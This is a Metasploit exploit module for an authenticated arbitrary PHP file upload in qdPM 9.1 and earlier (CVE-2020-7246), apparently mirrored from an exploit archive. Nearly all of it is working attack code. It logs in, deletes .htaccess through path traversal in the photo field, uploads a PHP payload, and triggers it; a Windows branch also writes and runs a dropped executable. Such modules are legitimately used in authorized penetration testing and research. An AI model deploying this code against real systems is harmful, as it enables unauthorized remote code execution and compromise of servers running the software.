Share
## https://sploitus.com/exploit?id=PACKETSTORM:168559
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::PhpEXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',  
'Description' => %q{  
A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.  
An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal  
vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.  
NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Rishal Dwivedi (Loginsoft)', # Discovery  
'Leon Trappett (thepcn3rd)', # PoC  
'Giacomo Casoni' # Metasploit  
],  
'References' => [  
['CVE', '2020-7246'],  
['EDB', '50175']  
],  
'Payload' => {  
'BadChars' => "\x00"  
},  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Platform' => %w[linux php],  
'Targets' => [  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],  
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],  
[ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],  
[ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-11-21',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => ['CRASH_SAFE'],  
'Reliability' => ['IOC_IN_LOGS'],  
'SideEffects' => ['REPEATABLE_SESSION']  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),  
OptString.new('EMAIL', [true, 'The email to login with']),  
OptString.new('PASSWORD', [true, 'The password to login with'])  
]  
)  
  
self.needs_cleanup = true  
end  
  
def check  
uri = normalize_uri(uri, '/index.php')  
res = send_request_raw({ 'uri' => uri })  
if res.nil?  
return Exploit::CheckCode::Unknown  
end  
  
login_page = res.get_html_document  
begin  
version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f  
rescue StandardError  
return Exploit::CheckCode::Unknown  
end  
version = Rex::Version.new(version_num)  
if version <= Rex::Version.new('9.1')  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def get_write_exec_payload_win(fname, _data)  
p = Rex::Text.encode_base64(generate_payload_exe)  
php = %|  
<?php  
$f = fopen("#{fname}", "wb");  
fwrite($f, base64_decode("#{p}"));  
fclose($f);  
exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");  
?>  
|  
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')  
return php  
end  
  
def login(base, username, password)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{base}/index.php/login"),  
'keep_cookies' => true  
})  
login_page = res.get_html_document  
csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/login"),  
'vars_post' => {  
'login[email]' => username,  
'login[password]' => password,  
'login[_csrf_token]' => csrf_token  
},  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}/#{base}/index.php/login"  
}  
})  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{base}/index.php/myAccount"),  
'keep_cookies' => true,  
'headers' => {  
'Host' => rhost.to_s  
}  
})  
account_page = res.get_html_document  
begin  
userid = account_page.at("input[@name='users[id]']/@value").text.strip  
rescue StandardError  
print_error('The designated admin account does not have a user ID.')  
return {}  
end  
username = account_page.at("input[@name='users[name]']/@value").text.strip  
csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip  
opts = {  
'user_id' => userid,  
'name' => username,  
'csrf_token' => csrftoken_  
}  
return opts  
end  
  
def upload_php(base, opts)  
fname = opts['filename']  
php_payload = opts['data']  
user_id = opts['user_id']  
email = opts['email']  
csrf_token = opts['csrf_token']  
  
data = [  
{ 'name' => 'sf_method', 'data' => 'put' },  
{ 'name' => 'users[id]', 'data' => user_id },  
{ 'name' => 'users[photo_preview]', 'data' => '.htaccess' },  
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },  
{ 'name' => 'users[new_password]', 'data' => '' },  
{ 'name' => 'users[email]', 'data' => email },  
{ 'name' => 'extra_fields[9]', 'data' => '' },  
{ 'name' => 'users[remove_photo]', 'data' => '1' }  
]  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),  
'vars_form_data' => data,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"  
}  
)  
  
data = [  
{ 'name' => 'sf_method', 'data' => 'put' },  
{ 'name' => 'users[id]', 'data' => user_id },  
{ 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },  
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },  
{ 'name' => 'users[new_password]', 'data' => '' },  
{ 'name' => 'users[email]', 'data' => email },  
{ 'name' => 'extra_fields[9]', 'data' => '' },  
{ 'name' => 'users[remove_photo]', 'data' => '1' }  
]  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),  
'vars_form_data' => data,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"  
}  
)  
  
data = [  
{ 'name' => 'sf_method', 'data' => 'put' },  
{ 'name' => 'users[id]', 'data' => user_id },  
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },  
{ 'name' => 'users[new_password]', 'data' => '' },  
{ 'name' => 'users[email]', 'data' => email },  
{ 'name' => 'extra_fields[9]', 'data' => '' },  
{ 'name' => 'users[remove_photo]', 'data' => '1' },  
{ 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }  
]  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),  
'vars_form_data' => data,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"  
}  
})  
  
return res.code == 302  
end  
  
def exec_php(base, _opts)  
res = send_request_cgi({  
'uri' => normalize_uri("#{base}/index.php/myAccount"),  
'keep_cookies' => true  
})  
home_page = res.get_html_document  
backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip  
register_file_for_cleanup(backdoor)  
send_request_cgi({  
'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")  
})  
end  
  
def exploit  
uri = normalize_uri(target_uri.path)  
user = datastore['EMAIL']  
pass = datastore['PASSWORD']  
print_status("Attempt to login with '#{user}:#{pass}'")  
opts = login(uri, user, pass)  
if opts.empty?  
print_error('Login unsuccessful or bad (admin) user')  
return  
end  
  
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"  
case target['Platform']  
when 'php'  
p = get_write_exec_payload  
when 'linux'  
p = get_write_exec_payload(unlink_self: true)  
when 'win'  
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"  
bin = generate_payload_exe  
p = get_write_exec_payload_win(bin_name.to_s, bin)  
print_warning("#{bin_name} will require manual cleanup")  
end  
  
print_status("Uploading PHP payload (#{p.length} bytes)...")  
data = {  
'email' => user.to_s,  
'filename' => php_fname,  
'data' => p  
}  
data = data.merge(opts)  
uploader = upload_php(uri, data)  
if !uploader  
print_error('Unable to upload')  
return  
end  
  
print_status("Executing '#{php_fname}'")  
exec_php(uri, opts)  
end  
end